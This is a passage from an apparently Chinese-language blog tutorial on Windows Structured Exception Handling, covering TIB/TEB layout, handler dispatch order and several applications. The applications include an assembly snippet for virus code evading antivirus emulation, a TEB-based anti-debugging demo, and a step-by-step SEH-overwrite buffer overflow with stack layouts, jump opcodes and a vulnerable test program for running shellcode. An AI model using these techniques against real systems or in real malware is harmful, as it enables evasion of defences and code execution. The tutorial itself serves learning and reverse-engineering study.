PVOID* pProcess; // 30h Pointer to owning process database
} WIN95;
} TIB_UNION3;
} TIB, *PTIB;
#pragma pack()
讓我們抬頭看看上面的 Matt Pietrek 的代碼,其中有這么一行:
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list
注 意到 PEXCEPTION_REGISTRATION_RECORD 這個定義,它表示 pvExcept 這個變量正 是 exception record list 的入口,這個入口位于整個結構的 0 偏移處。同時, 在 M 的 Intel i386 Windows NT/2K/XP 內核中,每當創建一個線程,OS 均會為每個線程分配 TEB ,而 且 TEB 永遠放在 fs 段選擇器指定的數據段的 0 偏移處。
這樣一來,你就明白了 SEH 注冊的偏移為什么是在 fs:[0] 了吧?
事實上 Windows 系統都是通過這種方法來為應用程序提供信息的,比如有這樣的例子:
struct _tib *ptibSelf; // 18h Linear address of TIB structure
DWORD threadID; // 24h
Windows 提供了一個 API :GetCurrentThreadID(),它的內部工作原理其實是這樣的:(利用了上面的這兩個地址)
mov eax, fs:[18h] ;因為 18h 偏移處是 TIB 結構的線性偏移地址
mov eax, [eax + 24h] ;因為 24h 偏移處是 threadID 的地址
ret ;把 eax 中儲存的 threadID 地址返回
注:為什么要聲明assume fs:nothing?因為masm編譯器默認將fs段寄存器定義為error,所以程序在使用fs前必須將它啟動!
接下來看看SEH的回調函數
_Handler proc _lpExecptionRecord, _lpSEH,lp_context,lp_DispatcherContext
_lpExecptionRecord指向一個EXECPTION_RECORD結構。
lp_context 指向一個CONTEXT結構。
_lpSEH 指向注冊回調函數時使用的EXXCEPTION_REGISTRATION結構的地址。
返回值有四種取值:
ExecptionContinueExecution ( 0

ExceptionContinueSearch(1):回調函數拒絕處理這個異常,系統通過EXECPTION_REGISTRATION結構的prev字段得到前一個回調函數的地址并調用它。
ExecptionNestedExecption (2):發生異常嵌套。
ExecptionCollidedUnwind (3):異常展開操作。這一個部分不做多講,有興趣的可以看看羅云彬的書,其實是很重要的一部分。
如果一個程序既有篩選器異常處理又有SEH異常處理,而且系統還有默認的異常處理機制,那么他們被調用的先后次序是怎么樣的呢?
發生異常時系統的處理順序(by Jeremy Gordon):
1.系統首先判斷異常是否應發送給目標程序的異常處理例程,如果決定應該發送,并且目標程序正在被調試,則系統掛起程序并向調試器發送EXCEPTION_DEBUG_EVENT消息.呵呵,這不是正好可以用來探測調試器的存在嗎?
2.如果你的程序沒有被調試或者調試器未能處理異常,系統就會繼續查找你是否安裝了線程相關的異常處理例程,如果你安裝了線程相關的異常處理例程,系統就把異常發送給你的程序seh處理例程,交由其處理.
3.每個線程相關的異常處理例程可以處理或者不處理這個異常,如果他不處理并且安裝了多個線程相關的異常處理例程,可交由鏈起來的其他例程處理.
4.如果這些例程均選擇不處理異常,如果程序處于被調試狀態,操作系統仍會再次掛起程序通知debugger.
5.如果程序未處于被調試狀態或者debugger沒有能夠處理,并且你調用SetUnhandledExceptionFilter安裝了最后異 常處理例程的話,系統轉向對它的調用.
6.如果你沒有安裝最后異常處理例程或者他沒有處理這個異常,系統會調用默認的系統處理程序,通常顯示一個對話框, 你可以選擇關閉或者最后將其附加到調試器上的調試按鈕.如果沒有調試器能被附加于其上或者調試器也處理不了,系統就調用ExitProcess終結程序.
7.不過在終結之前,系統仍然對發生異常的線程異常處理句柄來一次展開,這是線程異常處理例程最后清理的機會.
說了這么多你也許會問SEH異常處理到底有什么用處呢?呵呵,且聽小生慢慢道來~~~
第一道菜:病毒程序巧用SEH
這里簡單的說一下如何利用SEH異常處理程序來躲避下毒軟件的反病毒引擎。一個反病毒引擎在一個程序運行的時候會模擬程序的代碼,當發現程序代碼的疑點比較多的時候會報告成病毒??纯聪旅孢@段程序:
start:call Set_SEH;這句其實就是 push offset CONTINUE
; JMP Set_SEH
CONTINUE:mov esp, [esp+8]; [ESP+8]存儲的是舊的堆棧地址。
push offset Start_Virus ;----_ 把Start_Virus 的地址壓棧,當作返回地址
ret;----跳到Start_Virus去,是不是很magic?
Set_SEH:sub edx, edx ;Edx =0
Assume fs:nothing
push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 結構的指針入棧
mov fs:[edx], esp;安裝一個seh
mov [edx],edx;引起一個內存讀寫沖突,發生異常因為edx=0
;如果反病毒引擎不處理異常,不進入seh 處理程序(即 CONTINUE:

;擬下個指令,也就是jmp start,那么就進入一個死循環,可能會引起死機。
jmp start
Start_Virus: .....
是不是很簡單呢?就是讓反病毒引擎不處理這個人為的異常時進入死循環~!!
第二道菜:TEB反跟蹤初探
如果你的記性夠好的話一定記得上面介紹過的TEB(TIB)線程信息塊結構中有這么一句:
PVOID* pProcess; // 30h Pointer to owning process database
這 個偏移地址處的內容非常有用,它指向本線程的擁有者的 PDB(Process Database) 的線性地址。當你用動態調試器,例 如 OllyDbg 的時候,調試器是把調試的對象作為一個子線程進行跟蹤的,在這種情況下,被調試的對象的“擁有者”就是調試器本身,也就是說,它 的 TEB 的 30h 處的偏移指向的內容肯定不為 0 ,這樣,我們就可以利用這一點,判斷 30h 偏移指向的內容,來判斷是否有調試器跟蹤。
最后給出一個 Anti-Debug 的例子程序,用 MASM 編譯完成后,請用 OllyDbg 來加載調試一下,看看與正常的運行結果有什么不同。
;*********************************************************
;程序名稱:演示利用 TEB 結構進行 Anti-Debug
; 請用 OllyDbg 進行調試
;適用OS:Windows NT/2K/XP
;作者:羅聰
;日期:2003-2-9
;出處:

;注意事項:如欲轉載,請保持本程序的完整,并注明:
;轉載自“老羅的繽紛天地”(

;*********************************************************
.386
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/user32.lib
.data
szCaption db "Anti-Debug Demo by LC, 2003-2-9", 0
szDebugged db "Hah, let me guess... U r dEBUGGINg me!

szFine db "Good boy, no dEBUGGEr detected!", 0
.code
main:
assume fs:nothing
mov eax, fs:[30h] ;指向 PDB(Process Database)
movzx eax, byte ptr [eax + 2h];無符號數帶零擴展
or al, al
jz _Fine
_Debugged:
push MB_OK or MB_ICONHAND
push offset szCaption
push offset szDebugged
jmp _Output
_Fine:
push MB_OK or MB_ICONINformATION
push offset szCaption
push offset szFine
_Output:
push NULL
call MessageBoxA
invoke ExitProcess, 0
end main
第三道菜:利用SEH執行shellcode
假設異常處理例程入口00401053,程序剛開始執行時esp是0012ffc4,以前的fs:[0]是0012ffe0
建立了TIB結構的第一個成員后堆棧的情況如下:
內存低地址
| E0 |12ffbc(esp)
| FF |
| 12 | --ERR結構的第一個成員
|_00_|
| 53 |12ffc0
| 10 |
| 40 | --ERR結構的第二個成員
| 00 |
內存高地址
好了然后程序CALL一個函數,函數里面有一個局部變量并且在往其分配的空間中寫入的數據時產生溢出.這時堆棧如下
____
| |12f000 局部變量分配的空間,并且向12ffc0方向溢出了.
| |
....
....
|_EBP|12ffb4 函數中保存老的EBP
| xx |
| xx |
| xx |
|_EIP|12ffb8 call函數時EIP進棧
| xx |
| xx |
|_xx_|
| E0 |12ffbc(esp) {當SEH起作用的時候EBX剛好指向這個地址(也可說總是指向當前ERR結構)}
| FF |
| 12 | --ERR結構的第一個成員
|_00_|
| 53 |12ffc0
| 10 |
| 40 | --ERR結構的第二個成員
|_00_|
| |12ffc4
繼 續看,假設溢出代碼一直到了12ffc4,然后call的函數該返回了,因為保存的EIP被溢出代碼代替所以程序出錯(不會不出錯吧?),這樣ESH開始 起作用了(注:在這期間系統要執行一些操作,所以EBX才會指向當前ERR).這樣一來程序就會跳到12ffc0里的地址去執行!而12ffc0里的東東 早已不是原來的00401053了.這樣我們不就改變了程序的流向了么.12ffc0中該寫入什么內容呢?應是內存中JMP EBX的代碼的地址.這樣跳 了3下后最終就會跳到12ffbc去執行.這個四字節可是寶貴的啊

那下具體看一下現在堆棧的情況:
| EB |12ffbc(esp) {當ESH起作用的時候EBX剛好指向這個地址(也可說總是指向當前ERR結構)}
| 06 |
| 90 | --ERR結構的第一個成員,執行JMP EBX后就到這兒來執行了(EB 06是短跳轉JMP 12FFC4的機器碼)
|_90_| 后面的90是nop空指令的機器碼.
| 4D |12ffc0
| 3F |
| E3 | --ERR結構的第二個成員,出錯處理函數的入口地址(現在成了JMP EBX的地址)
|_77_|
| |12ffc4
....
好現在來看看12ffc4里面有些什么代碼.(簡單的說這段代碼的作用是計算真正的shellcode的起始地址,然后跳過去執行.
低地址
| |12f000(shellcode開始地址)
....
....
| 81 |12ffc4
| C3 | add ebx,FFFFF03Ch(ebx=12ffc4,指令長度6,作用計算計算shellcode地址)
| 3C |
| F0 |
| FF |
| FF |
| FF |12ffca jmp ebx
| D3 |
高地址
測試程序
-------------------------SEH.ASM------------------
.386
.model flat,stdcall
option casemap:none
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
.data
hello db '利用一個讀INI文件的API來演示WIN2000本地溢出',0
lpFileName db './seh.ini',0
lpAppName db 'iam',0
lpKeyName db 'czy',0
lpDefault db 'ddd',0
szCap db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0
.code
testov proc
local lpReturnedString[2224] : byte ;返回的字串搞成本地變量這樣就和C語言一樣了,它是在棧中
invoke GetPrivateProfileString,offset lpAppName,offset,lpKeyName,offset lpDefault,ADDR lpReturnedString,2249,offset lpFileName
invoke MessageBox,0,addr lpReturnedString,addr lpReturnedString,1
ret
testov endp
start:
ASSUME fs:NOTHING
invoke MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h ;下斷點
push offset Final_Handler ;壓入正常的出錯處理程序入口地址
push FS:[0] ;把前一個TIB的地址壓入
mov fs:[0],esp
call testov
pop fs:[0] ;還原FS:[0]
Final_Handler: ;由于溢出了下面的代碼不會被執行.
invoke MessageBox,0,addr szMsgOK,addr szCap,30h
invoke ExitProcess,0
mov eax,1
ret
end start
-----------------end-------------
1

在softice中執行S 10:0 L FFFFFFFF FF D3就可以了,但實際上這樣找到的
地址可能不能執行代碼.所以用下面的方法:
map32 kernel32(在當前進程中查找映射的kernel32 DLL的信息)
一般有如下顯示:
Owner Obj Name Obj# Address Size TYPE
kernel32 .text 0001 001b:77b61000 0005d1ae code RO
......
然后
S 77b61000 L 5d1ae FF D3
如果顯示如下說明找到了:
Pattern Found at 0023:77e61674 ....
2)關于緩沖區的大小的問題:
利用SEH的辦法就起碼要設成1000個字節多,你的shellcode才不會被不知哪來的數據覆蓋!
這道菜czy做的不好吃:(我感覺理解起來有些困難~!因為關于緩沖區溢出自己接觸的太少,不過好東西要保留的,以后回過頭看!
第四道菜:用 SEH 技術實現 API Hook
這一部分不想展開了,給大家一個鏈接吧。

最后作為結束語說說的缺點吧:)一個人只有正視自己的缺點才能不斷地進步!呵呵
在 SEH異常處理鏈中最后一個被裝載的SEH異常處理程序總是被第一個調用,想想如果自己花了一個星期才寫出來一個異常處理程序,能夠完美處理所有異常,并 希望異常全部由你來處理,但很不幸,比如你調用了一個外部模塊,而這個模塊自己安裝了一個ugly的seh處理例程,他的動作是只要有異常發生就簡單地終 止程序,哈哈,那就死悄悄了。又比如你想在你的加殼程序里面加密目標程序代碼段,然后發生無效指令異常的時候用你自己安裝的處理句柄來解密代碼段繼續執 行,聽起來這的確是一個好主意,但遺憾的是大多數C/C++代碼都用_try{}_except{}塊來保證其正確運行,而這些異常處理例程是在你殼注冊 的例程之后安裝的,因而也就在鏈的前面,無效指令一執行,首先是C/C++編譯器本身提供的處理例程或者程序其他的異常處理例程來處理,可能簡單結束程序 或者....
好累!~~~~~~
寫了兩天,錯了,應該是剪接+消化了兩天,有很多的程序和文字是從hume,老羅,還有czy那里“剽竊”的:)希望高手們不要生氣~~天下書籍一大抄。你們的必將是我的,當然我的也會共享給你們的。呵呵,現在還不行,級別不夠啊。
http://blog.csdn.net/toberooter/article/details/308365